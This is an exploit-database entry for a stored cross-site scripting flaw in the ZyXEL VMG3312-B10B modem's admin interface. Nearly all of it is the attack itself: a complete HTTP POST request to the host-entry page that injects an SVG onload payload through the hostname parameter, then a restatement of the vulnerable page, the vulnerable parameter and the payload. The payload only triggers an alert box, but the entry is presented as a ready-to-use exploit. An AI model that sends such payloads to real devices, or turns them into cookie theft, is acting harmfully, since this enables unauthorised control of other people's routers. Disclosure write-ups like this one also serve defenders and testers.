ZyXEL VMG3312-B10B Cross Site Scripting

`# Exploit Title: ZyXEL VMG3312-B10B - Cross-Site Scripting  
# Date: 2018-08-21  
# Exploit Author: Samet AAHAdegN  
# Vendor Homepage: https://www.zyxel.com/  
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/  
# Version: ZyXEL VMG3312-B10B  
# Tested on: Mozilla Firefox 61.0.2 & Google Chrome 67.0.3396.99  
# Category: Stored XSS  
# CVE : N/A  
  
Malicious POST REQUEST :  
POST /pages/connectionStatus/connectionStatus-hostEntry.cmd HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.1/index.html  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 79  
Cookie: SESSION=529313605  
Connection: close  
Upgrade-Insecure-Requests: 1  
action=edit&oldip=192.168.1.36&hosttype=&sessionKey=1997367832&hostname=X<svg onload=alert()>  
  
Vulnerable PAGE :  
/pages/connectionStatus/connectionStatus-hostEntry.cmd  
  
Vulnerable PARAMETER :  
hostname  
  
Cross Site Scripting PAYLOAD :  
X<svg onload=alert()>  
  
#Samet AAHAdegN  
  
`